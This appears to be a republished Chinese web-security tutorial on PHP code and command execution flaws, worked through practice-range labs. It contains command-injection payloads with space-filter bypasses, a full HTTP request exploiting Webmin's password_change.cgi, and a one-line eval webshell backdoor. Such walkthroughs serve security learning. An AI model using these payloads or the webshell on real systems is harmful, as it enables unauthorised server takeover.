WEB安全-RCE代碼及命令執行漏洞
- 摘要
- RCE概述
- 遠程代碼執行
- eval()
- 案例
- 遠程命令執行
- system()
- shell_exec() 與 exec()
- 案例
- 靶場案例
- 墨者靶場黑盒功能點命令執行-應用功能
- 墨者靶場白盒代碼及命令執行-代碼分析
- 墨者靶場黑盒層 RCE 漏洞檢測-公開漏洞
摘要
在 Web 應用中有時候程式員為了考慮靈活性、簡潔性,會在代碼呼叫代碼或命令執行函式去處理,比如當應用在呼叫一些能將字串轉化成代碼的函式時,沒有考慮用戶是否能控制這個字串,將造成代碼執行漏洞,同樣呼叫系統命令處理,將造成命令執行漏洞,

RCE概述
RCE(remote command/code execute)漏洞,可以讓攻擊者直接向后臺服務器遠程注入作業系統命令或者代碼,從而控制后臺系統,
遠程代碼執行
同樣的道理,因為需求設計,后臺有時候也會把用戶的輸入作為代碼的一部分進行執行,也就造成了遠程代碼執行漏洞, 不管是使用了代碼執行的函式,還是使用了不安全的反序列化等等,
因此,如果需要給前端用戶提供操作類的API介面,一定需要對介面輸入的內容進行嚴格的判斷,比如實施嚴格的白名單策略會是一個比較好的方法,
eval()
eval() 函式把字串按照 PHP 代碼來計算,
該字串必須是合法的 PHP 代碼,且必須以分號結尾,
如果沒有在代碼字串中呼叫 return 陳述句,則回傳 NULL,如果代碼中存在決議錯誤,則 eval() 函式回傳 false,
案例
靶場:bikachu
if(isset($_POST['submit']) && $_POST['txt'] != null){
if(@!eval($_POST['txt'])){
$html.="<p>你喜歡的字符還挺奇怪的!</p>";
}
}

效果:

遠程命令執行
一般出現這種漏洞,是因為應用系統從設計上需要給用戶提供指定的遠程命令操作的介面,比如我們常見的路由器、防火墻、入侵檢測等設備的web管理界面上一般會給用戶提供一個ping操作的web界面,用戶從web界面輸入目標IP,提交后,后臺會對該IP地址進行一次ping測驗,并回傳測驗結果, 而如果設計者在完成該功能時,沒有做嚴格的安全控制,則可能會導致攻擊者通過該介面提交“意想不到”的命令,從而讓后臺進行執行,從而控制整個后臺服務器,現在很多的甲方企業都開始實施自動化運維,大量的系統操作會通過"自動化運維平臺"進行操作,
system()
執行外部程式,并且顯示輸出
$code=$_GET['x'];
echo system($code) //x=ipconfig x=ver x=cd
shell_exec() 與 exec()
php中shell_exec() 與 exec()函式的區別
案例
靶場:bikachu
ping 127.0.0.1

利用管道符|輸出別的內容
cd是查看當前目錄檔案夾名

靶場案例
墨者靶場黑盒功能點命令執行-應用功能
靶場:命令注入執行分析
可執行ping命令

輸入命令 127.0.0.1|ls

禁用本地js

輸入 127.0.0.1|cat key_296172863019530.php
不回顯,考慮繞過空格
linux繞過空格
cat flag.txt
cat${IFS}flag.txt
cat$<flag.txt
cat$<>flag.txt
輸入命令127.0.0.1|cat<key_296172863019530.php

得到flag,成功!
墨者靶場白盒代碼及命令執行-代碼分析
Linux ls 命令
Linux ls(英文全拼:list files)命令用于顯示指定作業目錄下之內容(列出目前作業目錄所含之檔案及子目錄),
Linux cat 命令
cat(英文全拼:concatenate)命令用于連接檔案并列印到標準輸出設備上,
Linux tac 命令
tac命令就是將檔案反向輸出,剛好和cat輸出相反,
Linux echo 命令
echo命令是一個內置在Bash中的shell,通常用于shell腳本中以顯示訊息或輸出其他命令的結果,
靶場:PHP代碼分析溯源
頁面顯示如下

將此php放入php運行下

可以知道,傳遞方式為request,引數為a
?a=ls

傳遞引數
?a=tac<key_238041834025406.php

得到flag,成功
墨者靶場黑盒層 RCE 漏洞檢測-公開漏洞
靶場:Webmin未經身份驗證的遠程代碼執行

搜索webmin,存在代碼執行漏洞
exp
POST /password_change.cgi HTTP/1.1
Host: 219.153.49.228:41273
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Accept-Language: en
Cookie: redirect=1; testing=1; sid=x; sessiontest=1
Referer: http://219.153.49.228:41273/password_change.cgi/session_login.cgi
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
cache-control: no-cache
user=rootxx&pam=&expired=2&old=ls&new1=test2&new2=test2
修改對應的部分,進行發包

修改為ls /
成功

一句話 Webshell 后門原理代碼執行-拓展說明
將一句話木馬
<?php
eval($_POST['x']);
>
然后利用中國菜刀連接此腳本即可


轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/295328.html
標籤:其他
上一篇:Deep Learning for EEG-Based Preference Classification in Neuromarketing文章精讀導讀,深度學習在神經營銷中基于腦電的偏好分類
